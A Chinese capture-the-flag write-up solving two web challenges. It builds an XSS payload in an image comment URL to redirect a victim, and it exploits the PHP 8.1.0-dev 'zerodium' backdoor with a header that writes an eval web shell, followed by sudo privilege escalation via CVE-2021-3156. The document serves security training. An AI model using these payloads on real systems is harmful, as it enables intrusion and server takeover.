web

门酱想玩什么呢?

查看源码,可以得到king.phpnssctfroundSpring.php

查看nssctfroundSpring.php

<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}

访问king.php,点击评论区。

通过这里,可以猜测到nssctfroundSpring.php里给的源码是关于评论发布的,经过一些测试,可以确定插入图片的url对应 $matches[0],可以xss。

本地测试一下

成功弹窗。

观察url

http://node1.anna.nssctf.cn:28494/words/?title=MTIzMTIz&content=aHR0cCUzQSUyRiUyRnh4eC54eHgueHh4JTJGJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoJTJGeHNzJTJGKSUzQyUyRnNjcmlwdCUzRSUyMy5wbmclMjAlMkZwbmc%3D

content部分base64解码一次再url解码一次,可以得到刚刚输入的图片评论。

构造一个访问 元梦之星 官网的xss。

http://xxx.xxx.xxx/"><script>document.location="https://ymzx.qq.com/"</script>#.png /png

本地成功跳转到 元梦之星。

把这个链接给门酱就行了。

http://node1.anna.nssctf.cn:28494/words/?title=MTIzMTIz&content=aHR0cCUzQSUyRiUyRnh4eC54eHgueHh4JTJGJTIyJTNFJTNDc2NyaXB0JTNFZG9jdW1lbnQubG9jYXRpb24lM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFJTIzLnBuZyUyMCUyRnBuZw==

Becomeroot

首页可以知道PHP Version 8.1.0-dev

这个版本的php可以rce,参考链接:PHP 8.1.0-dev 后门远程命令执行漏洞复现

用echo写马方便接下来操作

# header
User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php");

蚁剑链接

接下来是提权,脚本要去github找非交互式的POC

参考链接:CVE-2021-3156-plus

把脚本下载下来,上传到服务器并make,即可执行命令

/root/fl0g000即可得到flag。